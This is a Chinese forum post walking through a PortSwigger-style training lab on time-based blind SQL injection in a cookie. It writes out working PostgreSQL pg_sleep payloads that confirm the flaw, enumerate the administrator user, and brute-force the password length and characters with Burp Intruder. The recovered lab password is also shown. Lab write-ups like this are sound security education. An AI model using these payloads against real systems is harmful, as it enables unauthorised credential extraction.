发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场sql注入15

CTF练习 953 0 2025-7-29 22:35:14

第十五关 具有时间延迟和信息检索的盲 SQL 注入

这一关就是通过sql时间盲注,检索信息,进行判断,从而爆破出密码

提示:1、存在sql时间盲注,注入点在cookie

2、SQL 查询的结果不会返回,通过触发条件时间延迟来推断信息

3、数据库有users表,有username和password两列,管理员administrator

具体操作:

1、找到对应的数据包发往repeater(具体操作和第十一关一样)

2、测试存在SQL时间盲注漏洞

插入延迟10秒的sql时间盲注语句:

'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
解释:以分号结尾,然后重新开始执行一条sql语句,当1=1条件为真,执行then后面的语句,延迟10秒,否则不延迟
​
这里的%3B:解码过来是;     这里是分号结尾,重新开始执行sql语句
​

换个条件1=2为假时,不延迟(这演示了如何测试单个布尔条件并推断结果)

'%3BSELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

条件为假,页面不延迟显示

3、再确定下管理员是存在

'%3BSELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

管理员存在,页面延迟10秒显示

4、接下来爆破密码长度

插入修改的判断密码长度的sql时间盲注语句:

'%3BSELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
​
解释:当条件用户名是管理员并且密码的长度匹配时,执行then后面的语句,延迟10秒,否则不延迟

将密码长度设置成变量,进行爆破

5、payloads设置为25,线程保持默认就行(具体操作见第十二关)

6、爆破成功,20的长度延迟了十秒,说明密码的长度是20

7、知道了长度,然后,爆破密码字符内容

'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

选中集束炸弹模式,将密码的长度和字符内容设置成变量

8、payloads的设置和线程保持默认就行(具体操作见第十二关)

9、开始攻击,攻击完成,把延迟的结果全都用高亮显示,然后过滤一下,只留高亮的数据包

注意点击长度进行排序

密码:o2n53xquh1lc99fcwtbo

如图靶场通关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回